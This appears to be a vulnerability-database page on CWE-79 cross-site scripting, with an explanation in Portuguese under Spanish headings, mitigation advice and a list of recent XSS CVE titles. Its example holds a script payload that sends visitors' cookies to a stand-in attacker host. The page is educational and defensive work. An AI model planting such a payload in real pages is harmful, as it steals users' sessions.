Fallos del tipo CWE-79

30.585 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-8871MEDIUMFormidable Kinetic <= 1.1.01 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-8846MEDIUMTuxquote <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-102384MEDIUMWordPress Supreme Modules Lite plugin <= 2.5.63 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-25353HIGHWordPress Nooni theme < 1.5.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-104477MEDIUMShowdown through 2.1.0 XSS via unescaped quote in href and src attributesEPSS 0.2%CVE-2026-93293MEDIUMPassword Protected <= 2.8.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Freemius purchase_completed HandlerEPSS 0.2%CVE-2026-25354HIGHWordPress Reebox theme < 1.4.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-24980HIGHWordPress Visionary Core plugin <= 1.4.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-8894MEDIUMiWR Tooltip <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-8698MEDIUMCryptocurrency Prijsvergelijking Widget <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'width' Shortcode AttributeEPSS 0.2%CVE-2026-25461HIGHWordPress Listeo Core plugin <= 2.0.21 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2021-47982MEDIUMWordPress Plugin WP-Paginate 2.1.3 Stored XSS via presetEPSS 0.2%CVE-2026-8875MEDIUMEasy Prism Syntax Highlighter <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-46360MEDIUMphpMyFAQ - Stored XSS via Entity Decoding Depth Limit Bypass in SVG SanitizerEPSS 0.2%CVE-2026-25306HIGHWordPress XStore Core plugin <= 5.6.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-8837MEDIUMWP Iframe Geo Style for Amazon affiliates <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'adid' Shortcode AttributeEPSS 0.2%CVE-2026-8701MEDIUMGNTT Post Title Ticker <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2022-50946MEDIUMWordPress Plugin Netroics Blog Posts Grid 1.0 Stored XSSEPSS 0.2%CVE-2026-8040MEDIUMfaq shortocde <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'color' Shortcode AttributeEPSS 0.2%CVE-2026-25557MEDIUMEvoluted PHP Directory Listing Script 4.0.5 Reflected XSS via dir parameterEPSS 0.2%